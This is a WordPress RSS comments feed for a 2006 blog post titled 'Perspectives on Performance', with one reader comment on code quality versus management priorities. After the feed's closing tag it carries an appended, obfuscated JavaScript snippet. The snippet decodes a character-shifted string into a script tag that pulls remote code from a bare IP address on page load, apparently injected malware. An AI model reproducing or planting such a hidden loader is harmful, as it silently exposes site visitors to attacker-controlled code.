<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Perspectives on Performance</title>
	<atom:link href="http://blog.secosoft.net/2006/08/24/perspectives-on-performance/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/08/24/perspectives-on-performance/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Thu, 20 Nov 2008 06:16:19 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Mike Hostetler</title>
		<link>http://blog.secosoft.net/2006/08/24/perspectives-on-performance/#comment-2335</link>
		<dc:creator>Mike Hostetler</dc:creator>
		<pubDate>Fri, 25 Aug 2006 15:44:08 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/08/24/perspectives-on-performance/#comment-2335</guid>
		<description>This kinda goes back to what we talked about at lunch yesterday -- in the end, management doesn't care about the quality of the code, they just want the end product to work well -- correctly and performance-wise.  The only time they care about the quality is when it comes time to change it (add functionality, fix bugs) and then it's only because bad code takes longer to fix than good code.

There are many books on this subject and no one has the universal answer.  It really goes back to: "you can have it cheap, correct, or written quickly.  Choose any two."  I'd always choose "correct" but I've been in situations where correct wasn't chosen for us.  It's a difficult thing.</description>
		<content:encoded><![CDATA[<p>This kinda goes back to what we talked about at lunch yesterday &#8212; in the end, management doesn&#8217;t care about the quality of the code, they just want the end product to work well &#8212; correctly and performance-wise.  The only time they care about the quality is when it comes time to change it (add functionality, fix bugs) and then it&#8217;s only because bad code takes longer to fix than good code.</p>
<p>There are many books on this subject and no one has the universal answer.  It really goes back to: &#8220;you can have it cheap, correct, or written quickly.  Choose any two.&#8221;  I&#8217;d always choose &#8220;correct&#8221; but I&#8217;ve been in situations where correct wasn&#8217;t chosen for us.  It&#8217;s a difficult thing.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

